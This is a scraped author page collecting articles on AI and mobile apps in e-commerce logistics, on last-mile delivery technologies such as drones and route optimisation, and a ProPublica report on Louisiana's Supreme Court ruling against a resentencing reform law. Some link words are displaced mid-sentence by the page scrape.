sales and optimizing inventory levels resulting in enhanced supply chain efficiency and customer satisfaction. All in all, AI helps in transforming the manner in which businesses operate through the use of AI for data analysis and predicting future demand. Conclusion AI brings great opportunities for automating routine tasks, enhancing efficiency, and limiting costs. The implementation of AI in logistics assists businesses in reaping rewards and staying ahead of the competition. The continuing developments in AI have opened up the doors for endless possibilities. These include data integration and compatibility, scalability, accurate forecasting, bridging gaps in skills and knowledge, improving efficiency, etc.

The Vital Role Data Annotation Plays in the Logistics Industry

Richard A. Webster, This article was originally published on by ProPublica . Co-published with . Verite News Verite News This article was produced for by Richard A. Webster, who covered Jefferson Parish as part of ProPublica’s Local Reporting Network in 2021-22. to get stories like this one as soon as they are published. Verite News Sign up for Dispatches In September, the Louisiana Supreme Court that appeared to be a major blow to criminal justice reformers seeking to shrink the state’s bloated prison population. issued a ruling The 4-3 ruling struck down a law that empowered prosecutors to revisit and reduce excessive sentences through post-conviction plea agreements with defense attorneys. The law, which in 2021 and had the backing of the Louisiana District Attorneys Association, was meant to create a formal process to release prisoners serving decadeslong sentences, in many cases for relatively minor crimes, handed down under the state’s habitual offender, or “three strikes,” law. passed the state Legislature unanimously Verite News and ProPublica of Markus Lanieux, who might have been helped by that law. Lanieux was convicted in 2009 of aggravated flight from an officer, a crime that typically carried a two-year sentence. recently featured the story But two previous drug felonies allowed the Jefferson Parish district attorney to try Lanieux as a habitual offender, which resulted in a sentence of life without parole. If Lanieux had been originally convicted under current habitual offender sentencing laws, the most he could have gotten was four years. The Supreme Court’s ruling came as the result of a filed last year by Louisiana’s conservative attorney general, Jeff Landry, who claimed the law encroached on and usurped the exclusive power of the governor to grant clemency or pardons. Landry intervened in the case of William Lee, whose life sentence had been reduced using the now-overturned law. legal challenge His legal challenge was seen as part of a growing backlash across the country against prosecutors who have pushed to end mass incarceration, and it caused many district attorneys in Louisiana to temporarily drop negotiations to reduce excessive sentences while the case was pending. Immediately after the court announced its decision, Landry, who is running for governor on a tough-on-crime platform, hailed it as a victory for public safety. “This unconstitutional legislation resulted in some rapists and murderers receiving ‘get out of jail free’ cards,” Landry said. “That recklessness ends now.” In a dissenting opinion, state Supreme Court Chief Justice John Weimer criticized Landry’s challenge and warned that the majority’s decision could “have the disastrous effect of undermining, and further limiting, the post-conviction relief procedure that has operated to correct the evils of the past.” “The post-conviction legislation at issue here was unanimously enacted by the legislature, the people’s representatives, and signed into law by the governor,” Weimer wrote. “Its obvious purpose is to insure justice is done and to act as a counter balance or check on the renegade practices and prejudices of the past.” News of the ruling quickly spread throughout the state’s prisons, said attorney Nick Trenticosta, who argued on behalf of the law before the Supreme Court and visited several inmates at the Elayn Hunt Correctional Center in St. Gabriel the following week. “It’s on every prisoner’s mind,” he said. “My clients are now in distress.” “It’s Not Fine, but It Will Be OK” Trenticosta, however, was in the prison to tell them not to worry, that far from dealing a death blow to post-conviction resentencing efforts, the attorney general might have inadvertently given them new life. In their decision, the justices said the new law was unconstitutional because it didn’t require prosecutors or judges to identify a specific legal problem with a prisoner’s sentence before granting relief. The ability to adjust a sentence without a specific legal basis, they said, amounted to an “act of grace,” like a pardon, which is considered the domain of the governor. If the decision had stopped there, it could have been extremely damaging, Trenticosta said. But the justices went on to uphold the “absolute discretion” of prosecutors to provide such post-conviction relief, emphasizing it was the duty of prosecutors to “see that no innocent man suffers.” According to Trenticosta, the decision affirmed, for the first time explicitly, the right of prosecutors and defense attorneys to cooperatively reach post-conviction deals. Three other defense attorneys with extensive experience in post-conviction deals generally agreed with Trenticosta’s analysis of the ruling’s language, though one of them was concerned about its real-world consequences. Before the passage of the 2021 reform law, it was common practice for defense attorneys and prosecutors to meet informally to discuss the reduction of someone’s sentence. If both sides came to an agreement, they would take the plea deal to a judge to authorize, which avoided costly and timely litigation. There wasn’t, however, a court- or Legislature-approved structure to this process, which caused concern among some judges, Colin Reingold with a New Orleans-based criminal justice reform group called the Promise of Justice Initiative and three other defense attorneys told Verite News. While one court where these deals happened frequently might have been comfortable authorizing them, others in places where such deals were rare might have balked. This resulted in an unequal administration of justice across the state, said the defense attorneys. In its ruling, the court spelled out the on which district attorneys could reduce someone’s sentence through post-conviction plea agreements. Some of those are fairly narrow, including whether the sentence amounted to double jeopardy or the requirement that DNA testing provides “clear and convincing evidence” of innocence. eight grounds Others are more general and create a wider lane through which an attorney could argue for someone’s freedom, such as proof that “the conviction was obtained in violation of the constitution of the United States or the state of Louisiana.” Importantly, the justices added, when defense attorneys assert one of those grounds in seeking a sentence reduction, prosecutors have no obligation to demand evidence. “If a defendant seeks post-conviction relief pursuant to one of these grounds, a district attorney is not required by this decision to oppose the application.” Jee Park, executive director of the Innocence Project New Orleans, said she worries that the ruling could create obstacles to negotiating lesser terms, possibly driving judges to demand more evidence than previously required to prove a reduction in sentence is legally necessary. But she agreed that it wasn’t the end of post-conviction relief. “It’s not fine, but it will be OK,” Park said. “There are definitely still claims available to attack unjust and excessive sentences.” For people like Lanieux, this comes as welcome news. Lanieux’s attorney, Amy Myers, was in negotiations with the Jefferson Parish district attorney to reduce his sentence under the now-overturned law when Landry filed his challenge. The district attorney, like many prosecutors across the state, temporarily halted those negotiations pending a decision. Myers said the ruling reaffirmed arguments she had previously been making: that Lanieux’s sentence is unconstitutional because he had an ineffective lawyer, and that his sentence is cruel and unusual. Both are included in the eight grounds listed by the court. “Markus has always had good legal issues,” Myers said. “If we have a district attorney who is willing to consider the merits of those legal issues, we can resolve Markus’ case.” In an emailed statement, the Jefferson Parish District Attorney’s Office, which prosecuted Lanieux, said it was “not inclined to further comment as to Mr. Lanieux’s case at this time.” During his 14 years of incarceration, the Iberville Parish native lost his mother in 2020 to COVID-19 and his sister last year to unknown causes. And on Sept. 7, the day before the news organizations published a story on his life sentence, Lanieux’s son was at the Raymond Laborde Correctional Center in Cottonport. found dead in his cell Evidence relating to his death was to a funeral home, Verite News reported. inadvertently given Lee, the prisoner whose case was the subject of Landry’s challenge, also maintains hope following the court’s decision, said his attorney, Trenticosta. When the Supreme Court ruled in the attorney general’s favor, St. Tammany Parish prosecutors reinstated Lee’s life sentence. Warren Montgomery, the district attorney for St. Tammany and Washington parishes, was not available to comment because of medical reasons, according to his office. Despite the setback, Trenticosta expects to restart negotiations with the district attorney under the parameters established by the court. He said Lee’s case could fit under a number of them, including ineffective counsel, the unconstitutional withholding of evidence or a claim of innocence based on new evidence. “Warren Montgomery believed that the new evidence shook the integrity of the conviction, and I don’t think anything has changed,” he said. “I fully predict that Mr. Lee will come home in the near future.” Photo by on Josh Hemsley Unsplash

Louisiana Supreme Court Overturns "Three-Strikes" Sentences Reform Law

The rise of e-commerce has been remarkable over recent years, and it shows no signs of plateauing. As this sector expands, the demand for streamlined delivery systems also grows significantly. Central to this demand is the idea of last-mile delivery, a term initially used in the telecom sector and then adopted by logistics and supply chain management. Last-mile delivery is the last step in the delivery process. It's the journey a product makes from a distribution center or facility to the final destination, usually a customer's home. Even though it's the concluding phase, last-mile delivery can be the most intricate and costly in the entire supply chain. Thus, it accounts for a substantial part of the total delivery cost. Factors such as traffic congestion, misaligned delivery timings, and increasing customer demands for speed and flexibility contribute to it vastly. Considering the influence of these obstacles on operational proficiency and customer contentment, companies are constantly exploring innovative strategies to make this process more efficient and cost-effective. With technologies ranging from artificial intelligence to self-driving vehicles, last-mile delivery is undergoing a transformative phase, becoming more streamlined and customer-focused. Challenges in last-mile delivery While last-mile delivery presents an opportunity for e-commerce businesses to distinguish themselves from competitors, it also has a unique set of its own troubles. One of them is meeting the growing customer expectations. Today's consumers demand not only speedy delivery but also the flexibility to alter delivery times and locations, which can complicate logistics planning. Plus, customers often expect real-time updates on their orders, which requires sophisticated tracking systems. Geographical issues also pose serious challenges. Goods delivery to outlying suburban and rural locations, where residences are widely dispersed, can be both time-intensive and costly. Meanwhile, deliveries in cities face their own unique challenges such as heavy traffic, scarce parking, and restricted access, which all can cause delays. Cost management is another big problem. With fuel, labor, and vehicle maintenance costs steadily rising, keeping last-mile delivery affordable without compromising on efficiency is a balancing act. Moreover, the environmental footprint of logistics has gained significant public attention, regarding emissions and sustainable practices. Safeguarding the delivered goods, especially when handling high-value or perishable items, is another aspect companies must handle. And finally, scaling last-mile delivery operations to accommodate increasing volumes of orders while maintaining the same level of service quality is a constant struggle for many companies. Handy tech solutions Innovative technologies have the potential to reshape last-mile delivery, helping to address the challenges we've outlined earlier. Today, there’s an array of technological options that a business can integrate into its day-to-day operations. Autonomous Vehicles Several companies are already deploying drones for delivery. In the US, Amazon, with its Prime Air service, plans to deliver packages up to five pounds in 30 minutes or less using unmanned aerial vehicles. Alphabet's Wing has also received regulatory approval to start drone delivery services in several regions of Australia, Finland, and the US. Ground robots are another nice development. For example, Starship Technologies has deployed its delivery robots in multiple cities worldwide, including the US, the UK, and the company’s homeland of Estonia. They operate autonomously 99% of the time and can carry items within a 4-mile radius. The company operates AI and Machine Learning Route optimization software, such as Routific or ORTEC, use AI and machine learning algorithms to calculate the most efficient delivery routes. These systems consider various factors, such as traffic, weather conditions, and package destinations, to reduce travel time and costs. These advanced systems evaluate a lot of factors when plotting routes. They take into account real-time traffic data, weather conditions, package destinations, and even the capacity of the delivery vehicle. Importantly, these systems are dynamic. They continuously learn and adjust to changing conditions, ensuring the most up-to-date information is used for decision-making. For instance, if there's a sudden traffic jam due to an accident, the system can quickly re-route the delivery vehicle to avoid delays. Internet of Things IoT technology is being used to create smart logistics networks. Companies like Roambee provide real-time visibility into the delivery process through sensor data. Their devices monitor location, temperature, humidity, and more, providing crucial information for deliveries, especially for sensitive goods. For example, pharmaceutical products or perishable foods need to be kept at specific temperatures, and real-time monitoring allows companies to ensure these conditions are maintained throughout the whole delivery journey. Moreover, IoT-enabled predictive maintenance can alert companies about potential issues with their delivery vehicles before they result in costly downtimes. This information, derived from continuous monitoring and data analysis, allows companies to manage their fleet, proactively. Blockchain Technology VeChain, a blockchain platform, is an excellent example of using blockchain in logistics management. This tech enhances transparency and security by offering a full view of the supply chain. So, consumers can use VeChain to verify product authenticity, and businesses can improve logistics processes with it. Visibility provided by such services helps companies identify any bottlenecks or inefficiencies in their logistics network, which leads to more streamlined operations and enhanced performance. Plus, the security of blockchain technology means that this data is less susceptible to tampering or fraud. Real-life examples Many companies have embraced innovative technologies to improve their last-mile delivery operations. Here are a few examples from worldwide leading businesses. FedEx This global delivery provider has been exploring autonomous delivery solutions for some time, and one result is Roxo, the SameDay Bot. It’s a delivery robot designed to transport smaller shipments, specifically in urban environments where traffic and parking can be tricky. Roxo can navigate pedestrian paths and even climb stairs, which makes it an efficient option for quick, local deliveries. DHL Another logistics giant has leveraged AI and machine learning to optimize their delivery routes. The company has reported reduced delivery times, fuel costs, and CO2 emissions. Furthermore, DHL uses IoT for predictive vehicle maintenance, which allows them to improve efficiency by reducing unexpected downtime. Domino's Pizza The major fast food chain has partnered with Nuro, a leading autonomous delivery company, to use their autonomous vehicles for pizza delivery in the US. By providing customers with a unique pin to retrieve their order from the vehicle, Domino's has streamlined its delivery process and enhanced customer experience. Zipline Zipline is a company that uses drones for last-mile delivery of medical supplies. It operates in hard-to-reach places like rural Rwanda and Ghana, where conventional delivery methods just don’t work. By deploying drones, Zipline ensures that hospitals and health centers receive necessary supplies promptly. Potential problems Despite all these advantages, there are potential challenges that businesses need to navigate while using new tech solutions for their last-mile delivery. Regulatory issues may be a significant roadblock, especially concerning autonomous vehicles and drones. Different regions have various rules regarding unmanned vehicle operation, and compliance is important here. Cybersecurity is another concern. With businesses growing increasingly dependent on digital solutions, the threat of cyberattacks grows high. It's crucial to have strong security protocols to protect sensitive data, like customer details and payment information. The initial cost of these technologies can be significant. Deploying state-of-the-art AI systems, autonomous vehicles, or blockchain solutions requires a sizable investment. Some businesses, especially smaller ones, might find these upfront costs too much. And while some customers appreciate the convenience and speed these technologies offer, others may have privacy or safety concerns, particularly around drone deliveries and data sharing. Lastly, technical issues and the need for skilled personnel to manage these new technologies can also present challenges. Companies need to ensure they have the necessary technical expertise on hand to implement and operate these solutions. What lies in the future Looking ahead, new technologies are set to continue transforming the last-mile delivery sector. Innovations such as hyper-local fulfillment centers and advanced predictive analytics could lead to even faster and more efficient deliveries. We might also see wider adoption of blockchain for logistics, enabling even greater transparency and security in transactions. As technologies mature, we will likely witness increased cooperation between regulatory bodies and businesses to create supportive frameworks for innovations like drone delivery. This could make last-mile delivery even more efficient. The evolution of e-commerce logistics depends on our willingness to adopt these innovative technologies. Given the clear benefits — enhanced efficiency, cost-effectiveness, and customer satisfaction — it appears that businesses should be keen to invest in these advancements and utilize them. However, embracing these solutions should also come with a degree of caution. It's essential to navigate potential challenges, such as regulatory hurdles and cybersecurity risks, with due diligence. The right balance will allow businesses to optimize their last-mile delivery services effectively while maintaining customer trust.

Innovative Technologies for Last-Mile Delivery in E-commerce Logistics Scaling

are everywhere. They have become indispensable in our everyday lives. They are also ubiquitous in various industries, notably e-commerce logistics. Mobile applications Nowadays, apps are redefining how e-commerce is conducted. One of the main reasons for their effectiveness is that these apps help immensely in attracting personnel. The traditional barriers tied to experience and competence levels are significantly diminished. This is, in a large part, because a mobile app introduces a rigid workflow, making it difficult for users to stray from prescribed tasks. Furthermore, these applications enable a high level of oversight, so all activities carried out by the user are thoroughly monitored. Apart from that, they assist in all areas: from product browsing to delivery tracking. They act like the bonding agent that links customers, retailers, and delivery services, allowing instant information exchange and effortless cooperation. For businesses, they enhance operational efficiency, improve customer relations, and provide a competitive advantage. For consumers, they offer a swift, engaging, and user-friendly interface for satisfying their shopping desires. How mobile apps influence e-commerce make different parts of the business, like finding products and delivering them, a lot easier thanks to their simple and clear interfaces. Mobile apps On the frontend, they deliver an engaging and personalized user experience. Advanced algorithms analyze user behavior to recommend products, tailor promotions, and facilitate personalized interactions. Mostly, apps are designed for easy navigation, quick checkouts, and secure payment processing. Many also offer features like wish lists, product comparisons, and customer reviews. On the backend, mobile applications are instrumental in managing inventory, processing orders, handling customer inquiries, and tracking deliveries. They help in making various office tasks more automatic and precise, reducing mistakes and making sure the operations run smoothly. In addition, these apps keep a bunch of helpful information that companies can use to tweak their operations, guess what their customers might want next, and make wise decisions about what's to come. Also, a good many of mobile apps have built-in tools for accessibility. These include voice-enabled search functions, speech synthesis, and the option for high-contrast displays. Such features guarantee that e-commerce platforms cater to the needs of all customers, including those with visual, auditory, or motor difficulties. What's their role? From what we can tell, mobile apps offer a bunch of tools and features that simplify and speed up a lot of operation parts, like taking care of inventory, tracking orders, and sorting out delivery systems. Inventory Management Applications like TradeGecko and Vend offer robust solutions here. These apps synchronize data across multiple sales channels, making it easier to manage stock levels, predict demand, and prevent both overstocking and stockouts. Features such as real-time inventory tracking, automated reordering, and reporting help businesses maintain optimal inventory levels and streamline their supply chain operations. Order Tracking For order tracking, mobile apps have significantly improved transparency and communication between businesses and customers. Applications such as AfterShip and Route offer real-time tracking and automatic updates on shipment progress, giving customers clear visibility of their orders' status. These platforms also allow businesses to customize their tracking pages, reinforcing brand identity and improving customer experience. Delivery Systems Mobile applications have revolutionized the way businesses coordinate their deliveries. Apps like Onfleet and Bringg provide sophisticated dispatching, route optimization, and driver-tracking features. They facilitate efficient delivery operations, reducing costs, improving delivery speed, and, as a result, enhancing customer satisfaction. Mobile apps in scaling One of the most critical challenges in e-commerce is scaling logistics to accommodate business growth. This requires managing larger volumes of orders, delivery routes, inventory, and customer communication, all of which can quickly become complex. Mobile applications help the scaling process. In a sense, they can grow along with a business. As the volume of transactions increases, mobile applications can handle the increased data and complexity without the need for significant investments in new hardware or infrastructure. They enable businesses to manage growth without disrupting existing operations, and their modular nature allows for additional features to be integrated as needed. For example, ShipBob, a logistics platform designed for e-commerce businesses, faces the challenge of managing increased order volume, as business operations grow. ShipBob offers a unified platform where companies can manage orders from various sales channels. The app provides inventory management across multiple warehouses, order management, and even advanced analytics to improve decision-making. With ShipBob, businesses can scale their logistics seamlessly without the headache of dealing with increased complexity. Similarly, applications like EasyPost allow businesses to manage an extensive network of carriers. As businesses expand geographically, they need to work with more delivery services. EasyPost offers API solutions that integrate with numerous carriers, making it easier for businesses to ship worldwide without getting bogged down by the complexity of managing multiple relationships. Sellbrite and Zoho Inventory provide further support for scaling logistics. Sellbrite facilitates multi-channel selling, allowing businesses to list and sell products across numerous online marketplaces from a single interface. This centralized control simplifies the management of increased sales channels as businesses grow. Zoho Inventory, on the other hand, is a robust inventory management solution that can manage the growing complexity of stock control. It handles tasks like inventory tracking, order fulfillment, and also integrates with multiple online sales channels, keeping all systems synchronized as a business scales. Who uses them, and how? ASOS This British online fashion retailer also made great progress in scaling its logistics with a mobile application. They integrated their operations with Metapack, a delivery management software that offers a range of features, including track-and-trace functionality, returns management, and delivery personalization. With Metapack's capabilities, ASOS was able to enhance its delivery process and manage a greater volume of orders. Stitch Fix Stitch Fix, an online personal styling service, used mobile applications to scale its operations and deliver personalized style boxes to customers across the United States. They used an app called Style Shuffle, which allows users to rate clothing and accessory items, thus helping the company gather data about customer preferences. This helped the company streamline its inventory management and improved the efficiency of its operations. Instacart Instacart, a North American leader in online groceries, turned to mobile apps to grow the scale of its operations. They developed their in-house app that connects customers, personal shoppers, and grocery stores for efficient delivery or pickup of groceries. This allowed them to manage a complex logistical challenge of coordinating between multiple stakeholders. As a result, Instacart became able to handle a growing volume of orders and expand their operations. The Home Depot The Home Depot, a leading home improvement retailer, provides another example of successful logistics scaling through the use of mobile applications. Facing increasing demand online, they realize the need to optimize their e-commerce logistics to handle the surge in orders. The company turned to mobile tech. The app they used was Roadie. It’s an Uber-like system that connects businesses with local drivers who can deliver goods on routes they were already taking. The Home Depot turned to Roadie to help make its delivery process smoother and deal with more orders. The company also created their own app that helped customers keep tabs on their orders, find things in stores, and even use augmented reality to see what products would look like in their homes. The payoff was a big boost to The Home Depot's e-commerce operations. Conclusion So, for e-commerce, mobile apps enhance clarity and speed, which results in an improved shopping journey for consumers, as well as businesses becoming able to work more efficiently. It's easy to expect that, with time, apps will gain an even bigger role in e-commerce logistics. We’ll probably be seeing a constant stream of more and more specialized apps, designed to offer even more help. Likely, they will introduce new methods to boost operational efficiency, cut costs, and amplify customer satisfaction. As these changes come, businesses that can use mobile apps well will lead the pack, ready for the opportunities and challenges the future brings. Try to be one of them.

Stories, News & Mentions about LORIS

Loris’s Stories on HackerNoon